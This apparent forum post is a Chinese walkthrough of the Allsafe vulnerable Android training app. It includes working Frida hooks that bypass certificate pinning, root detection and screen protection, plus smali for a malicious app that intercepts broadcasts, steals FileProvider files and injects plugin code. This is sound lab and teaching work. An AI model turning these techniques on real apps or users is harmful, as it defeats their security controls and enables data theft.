吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1582|回复: 7
上一主题 下一主题
收起左侧

[Android CTF] Allsafe靶场全解

  [复制链接]
跳转到指定楼层
楼主
EvalShell857 发表于 2026-8-13 23:22 回帖奖励
本帖最后由 EvalShell857 于 2026-8-18 23:59 编辑

靶场地址:

https://github.com/t0thkr1s/allsafe-android


首先用MT看下,发现没壳,包名为 infosecadventures.allsafe

Secure Flag Bypass

打开APK我发现用scrcpy投屏无法正常显示APK界面,考虑是做了FLAG_SECURE,所以先把这一关写在前面

MainActivity第27行8192 = 0x2000 = WindowManager.LayoutParams.FLAG_SECURE

发现设置了FLAG_SECURE(当前窗口内容不允许出现在截屏、录屏和屏幕镜像)


那我们直接把这里改为8192改为0即关闭就可以绕过了
直接通过修改Smali来进行绕过,我这里用APKLab来修改

Smail快速入门:https://www.52pojie.cn/thread-1701353-1-1.html

Crtl+Shift+POpen an APK

然后MainActivity是来自classes5.dex直接定位

直接改为

const/16 v2, 0x0

改好后直接重构APK,右键apktool.ymlRebuild the APK

卸载原来的APK然后安装新的APK(重构的APK在dist目录下)

adb uninstall infosecadventures.allsafe
adb install .\allsafe.apk

接着再次查看可以正常显示了

hook思路也为上

Java.perform(function () {
    var Window = Java.use('android.view.Window');

    Window.setFlags.implementation = function (flags, mask) {
        flags = flags & ~0x2000;   
        mask  = mask  & ~0x2000;  
        return this.setFlags(flags, mask);   
    };

    Window.addFlags.implementation = function (flags) {
        flags = flags & ~0x2000;
        return this.addFlags(flags);
    };

    console.log('[+] FLAG_SECURE 已清除,可以投屏/截图了');
});

Insecure Logging

定位infosecadventures.allsafe.challenges.InsecureLogging

发现设置了键盘监听,并且按下输入法的右下角的回车时(6 = IME_ACTION_DONE)输出调试信息

我们测试一下

pidof infosecadventures.allsafe
logcat --pid 28144 | grep "secret"

Hardcoded Credentials

定位infosecadventures.allsafe.challenges.HardcodedCredentials

发现第29行硬编码了账号密码

格式化一下xml

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <UsernameToken xmlns="http://siebel.com/webservices">superadmin</UsernameToken>
    <PasswordText xmlns="http://siebel.com/webservices">supersecurepassword</PasswordText>
    <SessionType xmlns="http://siebel.com/webservices">None</SessionType>
  </soap:Header>
  <soap:Body>
    <!-- data goes here -->
  </soap:Body>
</soap:Envelope>

得到了账号密码superadmin/supersecurepassword

Firebase Database

Firebase Database是Google旗下的一款NoSQL数据库

https://firebase.google.com/docs/android/setup?hl=zh-cn

那么这个数据库会有两个问题

  • 权限配置不当(公开读写)
  • 配置文件信息泄露(google-services.json)

定位infosecadventures.allsafe.challenges.FirebaseDatabase

发现读取了secret节点,全局搜索firebase

得到地址https://allsafe-8cef0.firebaseio.com

直接拼接得到https://allsafe-8cef0.firebaseio.com/secret.json直接访问得到内容

尝试访问根节点https://allsafe-8cef0.firebaseio.com/.json得到flag(这里类似于列桶)

Insecure Shared

定位infosecadventures.allsafe.challenges.InsecureSharedPreferences`

SharedPreferences sharedpreferences = requireActivity().getSharedPreferences("user", 0);
打开了一个user.xml文件这个0代表规定了只有本APP能读写
由于Fragment本身没有存储功能,文件归Activity的沙盒管所以调用了activity
文件会存到/data/data/<package_name>/shared_prefs下

这里账号密码直接明文存储了


我们这里直接用用ruoyi的弱口令admin/admin123哈哈哈

MT里会记录数据目录

直接查看/data/user/0/infosecadventures.allsafe/shared_prefs/user.xml

SQL Injection

定位infosecadventures.allsafe.challenges.SQLInjection

漏洞点在53行直接拼接了usernamepassword只不过password是md5后的

然后会把查询结果弹窗显示

除了SQLi还有硬编码问题

可惜的是我的设备是Android 14Android 11之后系统对 Toast的显示做了硬性限制

所以注入出来的数据没能全部显示

没办法这里我只能hook出来

Java.perform(function () {
    var Toast = Java.use("android.widget.Toast");
    Toast.makeText.overload('android.content.Context', 'java.lang.CharSequence', 'int')
        .implementation = function (context, text, duration) {
            console.log(" Toast content:\n" + text.toString());  
            return this.makeText(context, text, duration);
        };
});

获取PID

ida -U -p 2640 -l 1.js

PIN Bypass

定位infosecadventures.allsafe.challenges.PinBypass

发现PIN码直接硬编码了,我们这里也可以直接hook也可以直接改smali

改smail的话就是把if-nez改为if-eqz即可

if-eqz
全称equal zero(a=0),z即是0的标记,a等于0则跳
if-nez
全称not equal zero(a!=0),a不等于0则跳

hook的话直接让函数返回1就行了

Java.perform(function () {
    var PinBypass = Java.use("infosecadventures.allsafe.challenges.PinBypass");
    PinBypass.checkPin.implementation = function (pin) {
        console.log("输入的PIN码为"+pin)
        return true;  
    };
});

Root Detection

定位infosecadventures.allsafe.challenges.RootDetection

发现用了RootBeerRoot检测

跟进isRooted()发现一些检查方法

public boolean isRooted() {
return detectRootManagementApps() || 
detectPotentiallyDangerousApps() ||
checkForBinary(Const.BINARY_SU) ||
checkForDangerousProps() ||
checkForRWPaths() ||
detectTestKeys() ||
checkSuExists() ||
checkForRootNative() ||
checkForMagiskBinary();
}

可以看下是怎么实现的我这里直接给汇总

① detectRootManagementApps() —— 查"root 管理器"App

▎ 原理:扫描设备上已安装的 App,看有没有管理 root 的应用。
▎ 例如:com.topjohnwu.magisk(Magisk Manager)、eu.chainfire.supersu(SuperSU)、com.koushikdutta.superuser 等。
▎ 实现就是 getInstalledPackages() 遍历,匹配已知包名列表。

② detectPotentiallyDangerousApps() —— 查"可疑"App

▎ 原理:同①,但名单更广,包括一些可能带来 root 能力的工具,比如 com.thirdparty.superuser、com.noshufou.android.su 等。

③ checkForBinary("su") —— 查 su 可执行文件

▎ 原理:root 后系统里会多出一个 su 命令文件。它去这些常见路径找:
▎ /system/bin/su
▎ /system/xbin/su
▎ /system/sbin/su
▎ /sbin/su
▎ /vendor/bin/su
▎ 找到任意一个 → 判定 root。

④ checkForDangerousProps() —— 查系统属性(props)

▎ 原理:读取 Android 系统属性(类似环境变量),root 设备通常有这些危险属性:
▎ ro.debuggable = 1        // 可调试(可能被 root 改过)
▎ ro.secure = 0            // 非安全模式(root 设备常见)
▎ ro.build.type = userdebug
▎ ro.secure = 0 等
▎ 实现是 getprop("ro.debuggable") 这类调用。

⑤ checkForRWPaths() —— 查系统分区是否"可写"

▎ 原理:正常系统,/system 这些分区是只读的。root 后常被重挂载为可写。
▎ 它去检查这些路径是否可写:
▎ /system, /system/bin, /system/sbin, /system/xbin,
▎ /vendor/bin, /sbin, /etc, /proc
▎ 实现:尝试在这些路径下写一个临时文件,能写成功 → 判定 root。

⑥ detectTestKeys() —— 查 ROM 签名密钥

▎ 原理:正规发布的 ROM 用 release keys 签名;测试版/第三方 ROM 常用 test-keys 签名。
▎ 它读签名信息,如果包含 test-keys → 判定设备被改过/是开发者版。

⑦ checkSuExists() —— 尝试执行 su 命令

▎ 原理:直接 Runtime.getRuntime().exec("which su") 或 exec("su"),看能不能找到/执行。
▎ 能执行 → 有 root。

⑧ checkForRootNative() —— native 层检测

▎ 原理:这个库自带一个 C 编译的 .so 库,在 native 层用更底层的方式找 su、查路径、测写权限。比 Java 层更难被骗过。
▎ 实现:System.loadLibrary("tool-checker")(你看资源里就有 libtool-checker.so!)。

⑨ checkForMagiskBinary() —— 专查 Magisk

▎ 原理:Magisk 是现在最流行的 root 工具,它会有自己的痕迹:
▎ /data/adb/magisk/binary 或相关路径
▎ 检测到 Magisk 痕迹 → 判定 root。

KernelSU无脑过了哈哈哈哈哈哈

这是因为KernelSU为内核Root方案,在应用层不留痕

先说改smali直接把isRooted()返回结果都改为0也就是假

hook思路也如上

Java.perform(function () {
    var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
    RootBeer.isRooted.implementation = function () {
        return false;
    };
});

定位infosecadventures.allsafe.challenges.DeepLinkTask

用了intent进行消息传递然后对比key是否相等

keystrings.xmlebfb7ff0-b2f6-41c8-bef3-4fba17be410c

AndroidManifest.xml中发现android:exported="true"说明组件可被外部唤起

且过滤不严可以跳转到

allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c
https://*/?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c

直接模拟访问

am start -a android.intent.action.VIEW -d "allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c"

android.intent.action.VIEW查看/打开某样东西

Insecure Broadcast Receiver

BroadcastReceiver是一个专门"收广播"的组件

用来接收两类消息:

  • 系统广播(比如:电量低、屏幕亮了、收到短信)
  • 应用自己发的广播。

它有两种注册方式:

  • 静态注册:写在AndroidManifest.xml里(App 没启动也能收到)
  • 动态注册:在代码里用registerReceiver()现注册(App 跑起来才有)

为什么它是攻击面?

广播和Activity 一样,本质都是通过Intent传消息。

任何应用都可以发一条广播来触发你的BroadcastReceiver

除非你加了权限保护(android:permission)或指定了显式目标(只发给某个具体的接收者)。

只要漏配了,别人就能白嫖你的接收逻辑,或者往里面塞恶意数据。

定位infosecadventures.allsafe.challenges.InsecureBroadcastReceiver`

43行查询了所有能接受的Receiver并在44-48行把intent发给了所有的能接受的Receiver

假设此时恶意的APK伪造了action就可以收到这个广播消息

<!-- 恶意 App 自己的 AndroidManifest.xml -->
<receiver
    android:name=".SpyReceiver"
    android:exported="true">
    <intent-filter>
        <action android:name="infosecadventures.allsafe.action.PROCESS_NOTE"/>
        <!--        ↑ 把这串字符串抄过来就行,没有版权,随便用 -->
    </intent-filter>
</receiver>

然后写一个接收逻辑(叫 SpyReceiver),比如:

public class SpyReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String note = intent.getStringExtra("note");   // 拿笔记
        // 把 note 发给攻击者的服务器...
    }
}

就成功窃取了广播信息,我这里构造了个叫spyapp的应用

package com.attacker.spyapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class SpyReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {

        // 取出 note
        String note = intent.getStringExtra("note");

        // 取出 server
        String server = intent.getStringExtra("server");

        // 取出 notification_message
        String notificationMessage =
                intent.getStringExtra("notification_message");

        // 打印到 logcat
        Log.d("SPY_NOTE", note);
        Log.d("SPY_SERVER", server);
        Log.d("SPY_MSG", notificationMessage);
    }
}

AI还是太权威了

Vulnerable WebView

定位infosecadventures.allsafe.challenges.VulnerableWebView`

webview说白了就是个嵌在apk里的浏览器

允许了这些访问

发现loadUrl()可以打ssrfloaddata()可以解析html

弹个窗

打个ssrf

Certificate Pinning

定位infosecadventures.allsafe.challenges.CertificatePinning

证书写死了访问必须检验证书

Android7开始系统不再信任用户证书,所以这里我们可以通过hook或者AlwaysTrustUserCerts安装BurpSuie的证书都可以完成这关,我这里还是用ai去秒hook把

// ======== trustall_bypass.js : 全局信任所有证书(万能绕过) ========
// 原理:Android 上所有 HTTPS 最终都汇到 com.android.org.conscrypt.TrustManagerImpl
//      checkTrustedRecursive() 负责判断证书链是否可信。
//      让它返回空列表 = 认为所有证书链都可信 → Burp 的证书被全盘接受。
// 适用:OkHttp / HttpURLConnection / WebView 等一切走系统 TLS 栈的流量
// 局限:native 层自己实现 TLS(BoringSSL/openssl 直连)不走这里,需另想办法
// 用法:frida -U -f infosecadventures.allsafe -l trustall_bypass.js --no-pause

Java.perform(function () {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');

    // 覆盖所有重载(不同 Android 版本签名不同)
    TrustManagerImpl.checkTrustedRecursive.overloads.forEach(function (ov) {
        ov.implementation = function () {
            var ArrayList = Java.use('java.util.ArrayList');
            return ArrayList.$new();   // 空列表 = 证书链全部通过
        };
    });

    console.log("[+] [trustall] 全局 TrustManager 已绕过,信任所有证书");
});

Weak Cryptography

定位infosecadventures.allsafe.challenges.WeakCryptography

加解密相关的无所谓用jadx-mcp秒了!

说白了还是考察hook

// ======== weakcrypto_hook.js : WeakCryptography 挑战观察 + 密钥实锤 ========
// 目标类: infosecadventures.allsafe.challenges.WeakCryptography
// 功能1: 直接把硬编码密钥 KEY 从内存里读出来(攻击者视角:反编译就能看到)
// 功能2: hook encrypt() 看明文/密文(并暴露 new String(bytes) 乱码 bug)
// 功能3: hook Cipher.getInstance 抓出算法字符串 "AES/ECB/PKCS5PADDING"
// 功能4: hook SecretKeySpec 构造方法 抓出密钥字节("密钥被抄走"的实锤)
// 功能5: hook md5Hash() 看输入/输出
// 功能6: hook randomNumber() 看伪随机序列
// 运行: 先 frida-server,再
//   frida -U -f infosecadventures.allsafe -l weakcrypto_hook.js
//   然后点界面的 Encrypt / Hash / Random 三个按钮触发

Java.perform(function () {
    console.log("[+] [weakcrypto_hook] 脚本已注入,等你在界面上点按钮...");

    // ---------- 工具函数 ----------
    // Java byte[] -> hex 字符串
    function bytesToHex(arr) {
        var hex = '';
        for (var i = 0; i < arr.length; i++) {
            var b = arr[i] & 0xff;
            hex += (b < 16 ? '0' : '') + b.toString(16);
        }
        return hex;
    }
    // Java byte[] -> ASCII 字符串(密钥全是可打印字符,直接能读)
    function bytesToAscii(arr) {
        var s = '';
        for (var i = 0; i < arr.length; i++) s += String.fromCharCode(arr[i] & 0xff);
        return s;
    }

    // ---------- 0) 直接读硬编码密钥字段 ----------
    // public static final String KEY  ->  类名.字段名.value 就能拿到
    try {
        var WC = Java.use('infosecadventures.allsafe.challenges.WeakCryptography');
        console.log(" [KEY] 硬编码密钥 = " + WC.KEY.value);
    } catch (e) { console.log("[!] 读 KEY 失败: " + e); }

    // ---------- 1) hook encrypt() ----------
    // 注意: 它是 static 方法,直接 this.encrypt() 会死循环递归,
    //      必须先保存 overload,再用 ov.call(this, ...) 调原实现
    var encOv = WC.encrypt.overload('java.lang.String');
    encOv.implementation = function (value) {
        var result = encOv.call(this, value);   // 调用原逻辑,不干扰
        console.log(" [encrypt] 明文 = " + value);
        console.log(" [encrypt] 密文(new String乱码版) = " + result);
        // 上面的 result 已经是乱码——这正好证明了 new String(bytes) 是 bug
        return result;
    };

    // ---------- 2) hook Cipher.getInstance() 抓算法字符串 ----------
    // 攻击者 hook 到这里,App 用了什么弱算法一览无余
    var Cipher = Java.use('javax.crypto.Cipher');
    var getInst = Cipher.getInstance.overload('java.lang.String');
    getInst.implementation = function (transformation) {
        if (transformation.indexOf('ECB') !== -1) {   // 只关心我们挑战相关的
            console.log(" [Cipher.getInstance] 算法 = " + transformation + "  ← 这就是 AES/ECB");
        }
        return getInst.call(this, transformation);    // 原样放行
    };

    // ---------- 3) hook SecretKeySpec 构造方法 抓密钥字节 ----------
    // 攻击者的"抄作业"现场:密钥在这里以明文字节被塞进 Cipher
    var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');
    var sksOv = SecretKeySpec.$init.overload('[B', 'java.lang.String');
    sksOv.implementation = function (keyBytes, algorithm) {
        var kArr = Java.array('byte', keyBytes);      // Java byte[] -> JS 数组
        console.log(" [SecretKeySpec] 算法 = " + algorithm);
        console.log(" [SecretKeySpec] 密钥HEX   = " + bytesToHex(kArr));
        console.log(" [SecretKeySpec] 密钥ASCII = " + bytesToAscii(kArr));
        return sksOv.call(this, keyBytes, algorithm); // 原样放行
    };

    // ---------- 4) hook md5Hash() ----------
    var md5Ov = WC.md5Hash.overload('java.lang.String');
    md5Ov.implementation = function (text) {
        var result = md5Ov.call(this, text);
        console.log(" [md5Hash] 输入 = " + text + "  ->  MD5 = " + result);
        return result;
    };

    // ---------- 5) hook randomNumber() ----------
    // 连续点几次,观察"伪随机"序列
    var rndOv = WC.randomNumber.overload();
    rndOv.implementation = function () {
        var result = rndOv.call(this);
        console.log(" [randomNumber] 第次 = " + result);
        return result;
    };

    console.log("[+] [weakcrypto_hook] 全部 hook 完成,去界面点按钮吧");
});

Insecure Service

定位infosecadventures.allsafe.challenges.InsecureService

先检查权限然后去开启RecordsService

接着跟进是个录音的功能并会输出到/storage/emulated/0/Download/allsafe_rec_<时间戳>.mp3

接着看下发现这个service是可导出的

adb shell su -c 'am startservice -n infosecadventures.allsafe/.challenges.RecorderService'

Object Serialization

定位infosecadventures.allsafe.challenges.ObjectSerialization

76行分序列化入口但是看User类权限是写死的

先随意保存一个用户数据

由于role是硬编码我们直接替换即可

Insecure Providers

定位infosecadventures.allsafe.challenges.InsecureProviders

发现是下载了一个readme.txt到*/files/docs/readme.txt

两个dataprovider可导出


dataprovider只匹配了note123故放弃

那只能看fileproviderprovider_paths规定了整个files都为共享目录


但是它不可导入,这是我发现有个ProxyActivity可以当跳板

无条件转发外部传入的Intent,而且是以 AllSafe自己的身份启动

好像桶已经挂了需要自己创建readme.txt

adb shell run-as infosecadventures.allsafe mkdir -p /data/data/infosecadventures.allsafe/files/docs
adb shell "run-as infosecadventures.allsafe sh -c 'echo TOP_SECRET_PAYROLL > /data/data/infosecadventures.allsafe/files/docs/readme.txt'"
adb shell run-as infosecadventures.allsafe cat /data/data/infosecadventures.allsafe/files/docs/readme.txt

构建恶意apk

# ExploitActivity : ProxyActivity 利用链的"投递器"
# 流程:
#   1. 构造"内层 Intent" inner:
#        - component -> 我们自己的 ReadActivity (导出, 能收到授权)
#        - data      = content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt
#        - flag      = FLAG_GRANT_READ_URI_PERMISSION (0x1)
#   2. 构造"外层 Intent" outer -> AllSafe 的 ProxyActivity
#        - putExtra("extra_intent", inner)
#   3. ProxyActivity 以 AllSafe 身份 startActivity(inner)
#        -> 系统给 inner 指向的组件(ReadActivity)附加对那个 URI 的读授权
#   4. ReadActivity 从 getIntent().getData() 读到文件内容

.class public Lcom/attacker/spyapp/ExploitActivity;
.super Landroid/app/Activity;

.method public constructor <init>()V
    .locals 0
    invoke-direct {p0}, Landroid/app/Activity;-><init>()V
    return-void
.end method

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 5

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    # ---------- ① 内层 Intent ----------
    # v0 = new Intent()
    new-instance v0, Landroid/content/Intent;
    invoke-direct {v0}, Landroid/content/Intent;-><init>()V

    # v0.setComponent(new ComponentName("com.attacker.spyapp", "com.attacker.spyapp.ReadActivity"))
    new-instance v1, Landroid/content/ComponentName;
    const-string v2, "com.attacker.spyapp"
    const-string v3, "com.attacker.spyapp.ReadActivity"
    invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v0, v1}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;

    # v0.setData(Uri.parse("content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt"))
    const-string v2, "content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt"
    invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v2
    invoke-virtual {v0, v2}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;

    # v0.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)   # 值 = 0x1
    const/4 v2, 0x1
    invoke-virtual {v0, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;

    # ---------- ② 外层 Intent -> ProxyActivity ----------
    # v3 = new Intent()
    new-instance v3, Landroid/content/Intent;
    invoke-direct {v3}, Landroid/content/Intent;-><init>()V

    # v3.setComponent(new ComponentName("infosecadventures.allsafe", "infosecadventures.allsafe.ProxyActivity"))
    new-instance v4, Landroid/content/ComponentName;
    const-string v1, "infosecadventures.allsafe"
    const-string v2, "infosecadventures.allsafe.ProxyActivity"
    invoke-direct {v4, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v3, v4}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;

    # v3.putExtra("extra_intent", v0)   # Intent 本身是 Parcelable
    const-string v1, "extra_intent"
    invoke-virtual {v3, v1, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

    # startActivity(v3)
    invoke-virtual {p0, v3}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V

    return-void
.end method
# ReadActivity : 接收 URI 授权并读取文件内容
# 前提: ExploitActivity 已通过 ProxyActivity 转发,让本组件拿到
#       content://...fileprovider/files/docs/readme.txt 的临时读授权
# 读到内容后打进 logcat (tag=PWNED),模拟"把窃取数据发给攻击者服务器"

.class public Lcom/attacker/spyapp/ReadActivity;
.super Landroid/app/Activity;

.method public constructor <init>()V
    .locals 0
    invoke-direct {p0}, Landroid/app/Activity;-><init>()V
    return-void
.end method

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 7

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    const-string v6, "PWNED"

    :try_start
    # v1 = getIntent().getData()
    invoke-virtual {p0}, Landroid/app/Activity;->getIntent()Landroid/content/Intent;
    move-result-object v0
    invoke-virtual {v0}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    move-result-object v1

    # v2 = getContentResolver().openInputStream(v1)
    invoke-virtual {p0}, Landroid/app/Activity;->getContentResolver()Landroid/content/ContentResolver;
    move-result-object v0
    invoke-virtual {v0, v1}, Landroid/content/ContentResolver;->openInputStream(Landroid/net/Uri;)Ljava/io/InputStream;
    move-result-object v2

    # v3 = new byte[1024]
    const/16 v3, 0x400
    new-array v3, v3, [B

    # v4 = v2.read(v3)
    invoke-virtual {v2, v3}, Ljava/io/InputStream;->read([B)I
    move-result v4

    # v5 = new String(v3, 0, v4)
    new-instance v5, Ljava/lang/String;
    const/4 v0, 0x0
    invoke-direct {v5, v3, v0, v4}, Ljava/lang/String;-><init>([BII)V

    # Log.d("PWNED", v5)
    invoke-static {v6, v5}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
    :try_end
    .catch Ljava/lang/Exception; {:try_start .. :try_end} :catch
    goto :done

    :catch
    move-exception v0
    invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
    move-result-object v0
    invoke-static {v6, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    :done
    return-void
.end method
# SpyReceiver : 恶意接收者
# 注册了 action = infosecadventures.allsafe.action.PROCESS_NOTE
# 一旦 AllSafe 保存笔记并群发广播,本接收者就会收到 extras
# 这里把 note / server / notification_message 全部打进 logcat 展示"窃听成功"

.class public Lcom/attacker/spyapp/SpyReceiver;
.super Landroid/content/BroadcastReceiver;

# 关键:smali 不会像 Java 那样自动补无参构造函数,
# 必须手动声明,否则系统反射实例化时报 "no zero argument constructor"
.method public constructor <init>()V
    .locals 0
    invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
    return-void
.end method

.method public onReceive(Landroid/content/Context; Landroid/content/Intent;)V
    .locals 4

    # 取出 note
    const-string v0, "note"
    invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v1

    # 取出 server
    const-string v0, "server"
    invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v2

    # 取出 notification_message
    const-string v0, "notification_message"
    invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v3

    # 打印到 logcat(模拟"把窃听到的数据发给攻击者服务器")
    const-string v0, "SPY_NOTE"
    invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    const-string v0, "SPY_SERVER"
    invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    const-string v0, "SPY_MSG"
    invoke-static {v0, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    return-void
.end method

最后也是成功读到readme.txt

Arbitrary Code Execution

定位infosecadventures.allsafe.ArbitraryCodeExecution

  • invokePlugins() 扫描已安装包,任何包名以 infosecadventures.allsafe 开头的,都会加载它的 infosecadventures.allsafe.plugin.Loader 并调用 loadPlugin()
  • invokeUpdate() 如果 /sdcard/Download/allsafe_updater.apk 存在,就用 DexClassLoader 动态加载它并调用 infosecadventures.allsafe.updater.VersionCheck.getLatestVersion()

构建invokePlugins() 的apk

<?xml version="1.0" encoding="utf-8"?>
<!-- 插件 App:包名以 infosecadventures.allsafe 开头,满足 invokePlugins 的前缀匹配 -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="infosecadventures.allsafe.plugin"
    android:versionCode="1"
    android:versionName="1.0">

    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="34"/>

    <application android:label="AllSafe Plugin"/>
</manifest>
# =====================================================================
# Loader.smali : 恶意插件类(漏洞1 的 payload)
#
# AllSafe.onCreate() -> invokePlugins() 遍历已装包,找到本包
#   (infosecadventures.allsafe.plugin, 前缀匹配)
#   -> createPackageContext(pkg, 3) 加载本包的 dex
#   -> 反射调用  Loader.loadPlugin()   (静态无参)
# 此刻本类代码运行在 [AllSafe 进程 / AllSafe UID] 里:
#   - 能读写 AllSafe 的私有目录 (filesDir = /data/data/infosecadventures.allsafe/files)
#   - 能用 AllSafe 的权限/身份做任意事
#
# 验证副作用:
#   1. 向 AllSafe filesDir 写 pwned.txt
#   2. logcat 打 PWNED 标签
# =====================================================================
.class public Linfosecadventures/allsafe/plugin/Loader;
.super Ljava/lang/Object;

.method public static loadPlugin()V
    .locals 6

    const-string v5, "PWNED"

    :try_start
    # ---------- v0 = ActivityThread.currentApplication() ----------
    # 静态方法拿不到 Context 参数,这是拿全局 Application 的标准手段
    invoke-static {}, Landroid/app/ActivityThread;->currentApplication()Landroid/app/Application;
    move-result-object v0

    # ---------- v1 = v0.getFilesDir() ----------
    # 因为代码跑在 AllSafe 进程,getFilesDir() 指向 /data/data/infosecadventures.allsafe/files
    invoke-virtual {v0}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
    move-result-object v1

    # ---------- v2 = new File(v1, "pwned.txt") ----------
    new-instance v2, Ljava/io/File;
    const-string v3, "pwned.txt"
    invoke-direct {v2, v1, v3}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V

    # ---------- v1 = new FileOutputStream(v2) ----------
    new-instance v1, Ljava/io/FileOutputStream;
    invoke-direct {v1, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V

    # ---------- v3 = "PWNED_BY_PLUGIN".getBytes() ----------
    const-string v2, "PWNED_BY_PLUGIN"
    invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    move-result-object v3

    # ---------- v1.write(v3); v1.close() ----------
    invoke-virtual {v1, v3}, Ljava/io/FileOutputStream;->write([B)V
    invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V

    # ---------- Log.d("PWNED", "plugin executed inside AllSafe process") ----------
    const-string v2, "plugin executed inside AllSafe process"
    invoke-static {v5, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
    :try_end
    .catch Ljava/lang/Exception; {:try_start .. :try_end} :catch
    goto :done

    :catch
    move-exception v0
    invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
    move-result-object v0
    invoke-static {v5, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    :done
    return-void
.end method

invokeUpdate()这里我没打通,问了下AI:

坑 ①:这题是 2017 年的设计,但你的设备是 2026 的系统
AllSafe 是 2017 年的 App,那时 Android 7/8,/sdcard/Download/ 全局可读写,攻击者 push 个 APK 进去,App new File(...) 直接就读。作者写 invokeUpdate() 时是按那个时代设计的——在旧系统上这条链是通的。

坑 ②:Android 11+ 的 scoped storage 把这条路焊死了
AllSafe targetSdk=35 → 强制 scoped storage。规则一句话:targetSdk 30+ 的 App 不能用 File API 读公共目录里"不属于自己"的文件。

Native Library

定位infosecadventures.allsafe.challenges.NativeLibrary

首先调了native_library库然后checkPassword()是在库里

解压来到lib\arm64-v8a\用ida打开libnative_library.so(其他架构的也可以)


跟进checkPass()

继续跟进

。。。后续不想跟了函数太多了直接ida-pro-mcp秒了

Smali Patch

定位infosecadventures.allsafe.challenges.SmaliPatch

发现条件永远为假

直接if-eqz改为if-nez结束

免费评分

参与人数 9威望 +2 吾爱币 +109 热心值 +8 收起 理由
ioyr5995 + 1 + 1 热心回复!
lucymarine + 1 我很赞同!
wapj20260721 + 1 谢谢@Thanks!
111mz + 1 + 1 谢谢@Thanks!
daxz + 1 + 1 谢谢@Thanks!
Colarier + 1 + 1 用心讨论,共获提升!
qtfreet00 + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
shiyue2925 + 1 + 1 谢谢@Thanks!
taoyangui + 3 + 1 好帖可以图片没显示

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Hmily 发表于 2026-8-14 10:56
https://www.52pojie.cn/forum.php ... 27&pid=51478900 可以看教程学习下如何在论坛markdown格式下插入图片。
3#
Monitor 发表于 2026-8-15 19:53
是原创不?怎么缺好多图片的样子?  <!-- 这是一张图片,ocr 内容为: -->  补一下图片吧,原创的话是不是可以加威望了
4#
vision508 发表于 2026-8-17 08:38
5#
 楼主| EvalShell857 发表于 2026-8-19 00:00 |楼主
Hmily 发表于 2026-8-14 10:56
https://www.52pojie.cn/forum.php?mod=redirect&goto=findpost&ptid=717627&pid=51478900 可以看教程学习 ...

感谢指导 已补图 望尽快审核

免费评分

参与人数 1吾爱币 +3 热心值 +1 收起 理由
taoyangui + 3 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

6#
 楼主| EvalShell857 发表于 2026-8-19 00:01 |楼主

图已经补了在审核了
7#
